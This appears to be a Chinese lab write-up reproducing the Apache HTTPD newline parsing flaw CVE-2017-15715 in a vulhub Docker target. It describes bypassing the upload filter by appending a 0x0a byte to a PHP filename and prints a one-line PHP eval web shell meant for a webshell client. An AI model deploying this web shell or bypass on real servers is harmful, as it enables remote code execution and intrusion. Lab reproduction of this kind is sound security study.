漏洞介绍
Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。
环境启动
复现是使用vulhub这个靶场，在ubuntu下搭建的，大家也可以去搭建来玩一玩！
cd vulhub-master
cd httpd/CVE-2017-15715
docker-compose build #编译靶场
docker-compose up -d #启动靶场
docker ps #查看该靶场的端口``

漏洞复现
1.通过浏览器打开靶场，就出现靶场的页面

2.点击上传文件。上传我们写好的php文件(1.php),然后用burp进行抓包，然后发送到重发器里，进行下一步操作，

3.在16进制下，在1.php后面添加换行符 0a ，修改完之后，再把数据包发出去

4.在成功发出去之后，我们就可以进行访问，1.php被解析了。

提权
用小马。上传到这个服务器上，使用御剑进行连接。
<?php @eval($_POST[‘cmd‘]);?>
同样是上面的步骤，最后用御剑进行连接！


可惜最后并没有连接成功，没有能够进入到管理的界面！

Apache HTTPD 换行解析漏洞（CVE-2017-15715）